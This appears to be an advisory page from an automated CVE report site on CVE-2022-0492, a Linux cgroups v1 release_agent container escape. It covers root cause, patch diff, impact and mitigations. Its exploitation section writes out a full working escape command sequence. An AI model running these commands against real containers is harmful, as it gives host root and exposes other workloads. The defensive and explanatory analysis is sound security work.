CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2022-0492

CVE-2022-0492: Privilege Escalation and Container Escape via cgroups v1 release_agent

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 8, 2026·7 min read·4 visits

Executive Summary (TL;DR)

A privilege validation omission in the Linux kernel's cgroups v1 release_agent allows containerized processes with root access to bypass namespace isolation and execute arbitrary commands on the host as host root using user namespaces.

CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.

Vulnerability Overview

Control Groups (cgroups) are a core Linux kernel feature designed to allocate, meter, and isolate system resources (CPU, memory, disk I/O, network) for groups of processes. Under cgroups v1, each controller hierarchy supports a notification mechanism called the release agent. When a cgroup subsystem has notifications enabled via the notify_on_release parameter, the kernel monitors the cgroup task list. As soon as the final process inside that cgroup terminates or is moved, the kernel executes the command path specified in the release_agent file.

The execution of the release agent is handled in kernel space by call_usermodehelper. Because call_usermodehelper is triggered by the host kernel, the configured binary runs outside the container's namespaces, utilizing the host's namespaces and retaining a full set of global administrative privileges (host root). The attack surface is exposed directly through the write handler of the release_agent parameter, which lacks appropriate capability boundaries.

This vulnerability is classified under CWE-862 (Missing Authorization) and CWE-287 (Improper Authentication). In environments lacking robust container runtime hardening (such as non-default Kubernetes pods or custom Docker runtimes), an attacker who achieves local root access can exploit this design oversight to cross the container boundary. The following diagram illustrates the workflow of the escape execution sequence:

Root Cause Analysis

The root cause of CVE-2022-0492 lies within the file-write handler of the release_agent configuration parameter. Specifically, the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c did not restrict writes to processes operating within the initial user namespace (init_user_ns) or verify that the write operation was performed by an entity with global CAP_SYS_ADMIN privileges.

By default, containerized processes are prevented from mounting filesystems or writing to raw cgroup parameters because they do not possess global capabilities. However, the Linux kernel supports unprivileged user namespaces via the unshare system call. When a root process inside a container executes unshare with the CLONE_NEWUSER and CLONE_NEWCGROUP flags, the kernel creates a nested namespace environment where the calling process is assigned local CAP_SYS_ADMIN privileges.

Within this nested namespace, the process is authorized to perform mounts, including mounting a new instance of a cgroups v1 filesystem (e.g., the memory or rdma controller). Because the process is recognized as root within its local user namespace, the filesystem permission check on the newly mounted cgroup parameters passes. The absence of a global capability check in cgroup_release_agent_write allowed this local namespace-level authorization to satisfy the write validation, allowing a namespaced process to register a malicious binary path to be executed by the host kernel.

Code Analysis and Patch Review

To understand the implementation flaw, we examine the vulnerable code path inside kernel/cgroup/cgroup-v1.c. Prior to the patch, the cgroup_release_agent_write function accepted user-supplied input and wrote it directly to the root release_agent_path without conducting namespace verification.

Below is the comparison between the vulnerable and patched implementations of the write and parameter parsing functions:

/* Vulnerable code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
                                           char *buf, size_t nbytes, loff_t off)
{
    // ... omitted lock setup ...
    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
    
    /* VULNERABILITY: No verification of the calling process's namespace */
    /* The kernel directly proceeds to lock the cgroup and write the path */
    
    cgrp = cgroup_kn_lock_live(of->kn, false);
    // ... writes buf to release_agent_path ...
}

The official patch introduced in commit 24f6008564183aa120d07c03d9289519c2fe02af resolves the issue by enforcing namespace and administrative capability verification at both write-time and mount-time. The code below contains inline annotations explaining the validation additions:

/* Patched code inside cgroup_release_agent_write in cgroup-v1.c */
static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of,
                                           char *buf, size_t nbytes, loff_t off)
{
    struct cgroup *cgrp;
    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);
 
    /*
     * FIX: Release agent gets called with all capabilities, 
     * require capabilities inside the initial user namespace to set release agent.
     */
    if ((of->file->f_cred->user_ns != &init_user_ns) ||
        !capable(CAP_SYS_ADMIN))
        return -EPERM;
 
    cgrp = cgroup_kn_lock_live(of->kn, false);
    // ...
}

The patch also hardens the mount parameter parser to ensure malicious release agents cannot be configured during the mounting phase:

/* Patched code inside cgroup1_parse_param in cgroup-v1.c */
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
    // ...
        case Opt_release_agent:
            /* Specifying two release agents is forbidden */
            if (ctx->release_agent)
                return invalfc(fc, "release_agent respecified");
            /*
             * FIX: Restrict setting the parameter during mount if the mounting
             * context is not within the global root user namespace.
             */
            if ((fc->user_ns != &init_user_ns) || !capable(CAP_SYS_ADMIN))
                return invalfc(fc, "Setting release_agent not allowed");
            ctx->release_agent = param->string;
            param->string = NULL;
            break;
    // ...
}

The fix is complete and robust because it uses capable(CAP_SYS_ADMIN) instead of ns_capable(). The capable() function verifies capabilities in the global init_user_ns rather than the localized namespace, closing the loophole where unshare granted local privileges.

Exploitation Methodology

Exploiting CVE-2022-0492 requires three specific environment criteria: root access (UID 0) within the container, the ability to trigger the unshare system call, and the absence of restrictive Linux Security Modules (AppArmor or SELinux) blocking cgroup mounts.

First, the attacker executes unshare to isolate user and cgroup namespaces. This grants local CAP_SYS_ADMIN privileges:

unshare -UrmC --propagation=unchanged bash

Second, because the attacker has local CAP_SYS_ADMIN in the nested namespace, they mount a cgroups v1 subsystem, such as memory:

mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup

Third, because the host kernel runs the release agent, the attacker must locate the container's absolute path from the perspective of the host filesystem. This is typically retrieved by extracting the upperdir of the container's overlay mount from /etc/mtab:

host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)

Fourth, the attacker writes the execution payload to the container filesystem and makes it executable:

echo '#!/bin/sh' > /cmd
echo "id > $host_path/result" >> /cmd
chmod 777 /cmd

Fifth, the attacker writes the host-resolved path of the payload into the release_agent file of the mounted cgroup:

echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Finally, the attacker creates a child cgroup, enables the notification trigger, and registers a short-lived process PID. When the process terminates, the task list becomes empty, prompting the host kernel to execute /cmd on the host as root:

mkdir /tmp/testcgroup/x
echo 1 > /tmp/testcgroup/x/notify_on_release
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"

Impact Assessment

Successful exploitation of CVE-2022-0492 leads to a complete compromise of host integrity, confidentiality, and availability. Since the malicious release agent payload runs outside the container context and with host root privileges, the attacker can execute arbitrary commands directly on the bare-metal or virtualized host machine.

In container orchestration platforms like Kubernetes, this breakout allows lateral movement. An attacker escaping a single pod can access the host's Kubelet credentials, retrieve secrets, read sensitive volumes belonging to other pods, and execute processes across the entire node.

The vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, emphasizing its prevalence in active attack campaigns. It possesses a CVSS v3.1 base score of 7.8 (High) and a high EPSS score, reflecting the ease of weaponization and the widespread availability of public proof-of-concept exploits.

Remediation and Mitigation

The primary remediation for CVE-2022-0492 is applying kernel updates. System administrators must upgrade their Linux kernel to version 5.17 or apply the backported security patches released for stable LTS branches.

For systems where immediate kernel patching is not viable, several hardening mitigations prevent exploitation:

  1. Restrict User Namespaces: Disable unprivileged user namespace creation by modifying sysctl configurations. This stops attackers from using the unshare command to gain namespace capabilities:
sysctl -w kernel.unprivileged_userns_clone=0
  1. Deploy Seccomp Filters: Ensure containers run with a standard Seccomp profile. The default Docker and Containerd Seccomp profiles block the unshare system call, making user namespace isolation impossible to perform.

  2. Enforce Linux Security Modules (LSM): Enable AppArmor or SELinux. Default container profiles restrict write access to /sys/fs/cgroup and block mounting raw cgroup filesystems inside containers.

Official Patches

Linux KernelOfficial patch in Torvalds tree
GitHub PatchesRaw commit patch diff

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
28.12%
Top 3% most exploited

Affected Systems

Linux KernelKubernetes ClustersDocker RuntimesDebian GNU/LinuxRed Hat Enterprise LinuxUbuntu LinuxFedora LinuxNetApp Storage Solutions

Affected Versions Detail

Product
Affected Versions
Fixed Version
Linux Kernel
Linux
>= 2.6.24, < 5.175.17-rc3 / 24f6008564183aa120d07c03d9289519c2fe02af
AttributeDetail
CWE IDCWE-862
Attack VectorLocal
CVSS v3.1 Score7.8
EPSS Score0.28124 (Percentile: 96.58%)
Exploit StatusActive / Weaponized
CISA KEV StatusListed (Added 2026-06-02)

MITRE ATT&CK Mapping

T1611Escape to Host
Privilege Escalation
T1078Valid Accounts
Initial Access
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

GitHub (PaloAltoNetworks)Vulnerability detection script testing susceptibility using user namespaces and memory cgroups.
GitHub (chenaotian)Detailed exploit script automate container breakout via cgroups release_agent.

Vulnerability Timeline

Vulnerability patched in Linux main branch
2022-01-20
Public CVE registration and details released
2022-02-04
Weaponized PoC exploits published to public source controls
2022-03-05
Added to CISA Known Exploited Vulnerabilities (KEV) Catalog
2026-06-02

References & Sources

  • [1]NVD - CVE-2022-0492
  • [2]CVE.org Record
  • [3]Red Hat Bug Tracker
  • [4]NetApp Security Advisory
  • [5]Debian Security Advisory

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•GHSA-G72G-R7M4-9X4G
6.3

GHSA-G72G-R7M4-9X4G: Insufficient Session Expiration of OAuth Tokens in NocoDB

NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.

Amit Schendel
Amit Schendel
8 views•6 min read
•2 days ago•GHSA-FGMC-2HQJ-86V4
6.9

GHSA-FGMC-2HQJ-86V4: Default Administrative Credentials in vantage6-server

A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.

Amit Schendel
Amit Schendel
8 views•5 min read
•2 days ago•GHSA-X9F6-9RVM-MMRG
6.9

GHSA-X9F6-9RVM-MMRG: Improper Access Control and Volume Mount Isolation Bypass in vantage6 Node

An improper access control vulnerability in the vantage6 node component allows concurrently running algorithm containers to read and modify sensitive input and output files of other tasks. The lack of strict workspace directory isolation exposes a significant attack surface in multi-tenant or federated environments where untrusted algorithms are executed.

Amit Schendel
Amit Schendel
3 views•4 min read
•2 days ago•CVE-2026-47760
8.7

CVE-2026-47760: Cross-Site Scripting (XSS) via SVG Namespace Sanitizer Bypass in TinyMCE

TinyMCE versions 6.8.0 through 7.0.1 contain a high-severity Cross-Site Scripting (XSS) vulnerability. The flaw exists in the custom HTML parser and sanitizer module, which incorrectly manages SVG namespace scopes when parsing nested elements. A low-privileged or unauthenticated attacker can submit a crafted HTML payload containing nested SVG structures to bypass sanitization filters, leading to arbitrary JavaScript execution in the context of the victim's browser session.

Alon Barad
Alon Barad
14 views•7 min read
•2 days ago•CVE-2026-47759
8.7

CVE-2026-47759: Stored Cross-Site Scripting (XSS) via Unsanitized data-mce-* Serialization Bypass in TinyMCE

CVE-2026-47759 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting multiple active branches of the TinyMCE rich text editor. The flaw resides in the editor's handling of user-controlled, prefixed internal attributes, such as data-mce-href, data-mce-src, and data-mce-style. When processing raw HTML inputs, TinyMCE's internal validation schema neglects to inspect these custom prefixed attributes. During HTML serialization, the editor's engine extracts these unsanitized values and copies them back into standard executable attributes, overwriting any previously sanitized standard values and leading to execution of arbitrary code.

Amit Schendel
Amit Schendel
9 views•7 min read
•2 days ago•CVE-2026-47762
8.7

CVE-2026-47762: Stored Cross-Site Scripting (XSS) in TinyMCE Protect Pattern Restoration

A high-severity stored Cross-Site Scripting (XSS) vulnerability was identified in the TinyMCE rich text editor. The flaw exists in the handling of the 'protect' configuration option, where forged placeholder comments containing malicious payloads bypass the editor's sanitization routines and execute arbitrary JavaScript during serialization and content restoration.

Amit Schendel
Amit Schendel
7 views•8 min read